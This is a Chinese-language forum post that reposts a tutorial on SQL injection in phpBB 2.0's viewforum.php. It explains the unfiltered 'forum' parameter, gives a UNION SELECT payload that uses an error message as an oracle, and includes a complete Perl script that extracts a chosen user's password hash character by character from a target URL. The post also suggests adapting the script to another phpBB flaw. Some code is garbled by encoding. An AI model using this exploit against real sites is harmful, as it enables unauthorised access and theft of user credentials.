data/attachment/common/编程

编程

    今日:0| 主题:21
收藏本版
发表新帖

[php语言] discuz应用中心 php注入实例

[复制链接] [提交至百度]
夜风 发表于 2019-11-21 03:44:54
875 0

马上注册,下载资源,享用更多功能,让你轻松玩转网站

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
  1. php注入实例 在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的休会吧,希望能抛砖引玉!
  2. 相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例:
  3. 在viewforum.php中有一个变量没过滤:
  4. if ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ││ isset($HTTP_POST_VARS<pOST_FORUM_URL]) )
  5. {
  6. $forum_id = ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ) ? intval($HTTP_GET_VARS<pOST_FORUM_URL]): intval

  7. ($HTTP_POST_VARS<pOST_FORUM_URL]);
  8. }
  9. else if ( isset($HTTP_GET_VARS['forum']))
  10. {
  11. $forum_id = $HTTP_GET_VARS['forum'];
  12. }
  13. else
  14. {
  15. $forum_id = '';
  16. }
  17. 就是这个forum,而下面直接把它放进了查询中:
  18. if ( !empty($forum_id) )
  19. {
  20. $sql = "SELECT *
  21. FROM " . FORUMS_TABLE . "
  22. WHERE forum_id = $forum_id";
  23. if ( !($result = $db->sql_query($sql)) )
  24. {
  25. message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql);
  26. }
  27. }
  28. else
  29. {
  30. message_die(GENERAL_MESSAGE, 'Forum_not_exist');
  31. }

  32. 如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回Could not obtain forums information的信息,于是下面的代码就不能执行下去了
  33. //
  34. // If the query doesn't return any rows this isn't a valid forum. Inform
  35. // the user.
  36. //
  37. if ( !($forum_row = $db->sql_fetchrow($result)) )
  38. {
  39. message_die(GENERAL_MESSAGE, 'Forum_not_exist');
  40. }

  41. //
  42. // Start session management
  43. //
  44. $userdata = session_pagestart($user_ip, $forum_id) /****************************************

  45. 关键就是打星号的那一行了,这里是一个函数session_pagestart($user_ip, $thispage_id),这是在session.php中定义的一个函数,由于代码太

  46. 长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了session_begin(),函数调用如下session_begin($user_id, $user_ip,

  47. $thispage_id, TRUE)),同样是在这个文件中定义的,其中有如下代码
  48. $sql = "UPDATE " . SESSIONS_TABLE . "
  49. SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

  50. $page_id, session_logged_in = $login
  51. WHERE session_id = '" . $session_id . "'
  52. AND session_ip = '$user_ip'";
  53. if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
  54. {
  55. $session_id = md5(uniqid($user_ip));

  56. $sql = "INSERT INTO " . SESSIONS_TABLE . "
  57. (session_id, session_user_id, session_start, session_time, session_ip, session_page,

  58. session_logged_in)
  59. VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
  60. if ( !($result = $db->sql_query($sql)) )
  61. {
  62. message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LINE__, __FILE__,

  63. $sql);
  64. }


  65. 在这里有个session_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现Error

  66. creating new session : session_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定是为空,这个就是猜user_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示Error creating new session : session_begin,就表明你猜对了第一位了,其它位类似.

  67. 如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.

  68. use HTTP::Request::Common;
  69. use HTTP::Response;
  70. use LWP::UserAgent;
  71. $ua = new LWP::UserAgent;

  72. print " ***********************n";
  73. print " phpbb viewforum.php expn";
  74. print " code by pinkeyesn";
  75. print " www.icehack.comn";
  76. print " ************************n";
  77. print "please enter the weak file's url:n";
  78. print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
  79. $adr=<STDIN>;
  80. chomp($adr);
  81. print "please enter the user_id that you want to crackn";
  82. $u=<STDIN>;
  83. chomp($u);
  84. print "work starting,please wait!n";
  85. @pink=(48..57);
  86. @pink=(@pink,97..102);
  87. for($j=1;$j<=32;$j++){
  88. for ($i=0;$i<@pink;$i++){
  89. $url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

  90. 20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
  91. $request = HTTP::Request->new('GET', "$url");
  92. $response = $ua->request($request);

  93. if ($response->is_success) {
  94. if ($response->content =~ /Error creating new session/) {
  95. $pwd.=chr($pink[$i]);
  96. print "$pwdn";
  97. }

  98. }
  99. }
  100. }
  101. if ($pwd ne ""){
  102. print "successfully,The password is $pwd,good luckn";}
  103. else{
  104. print "bad luck,work failed!n";}

  105. 至于最近的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

推荐阅读

平台简介

六六下载网(666现在.cn),中国最大的电商设计师交流平台。最活跃的电商设计师学习交流分享社区。集原创作品+灵感图库+经验教程+设计专访+设计培训+社群活动为一体,全方位服务电商设计师。成立3年来,聚集20万电商设计师,定期线下设计沙龙,覆盖北京、上海、广州、杭州等城市计

QQ|Archiver|手机版|小黑屋|666下载网 ( 粤ICP备16097146号-5 )|网站地图  

Powered by 金易德.cn! X3.4  © 2014-2018 深圳市龙岗区金易徳贸易商行   增值电信业务经营许可证:粤B2-20140196

返回顶部 返回列表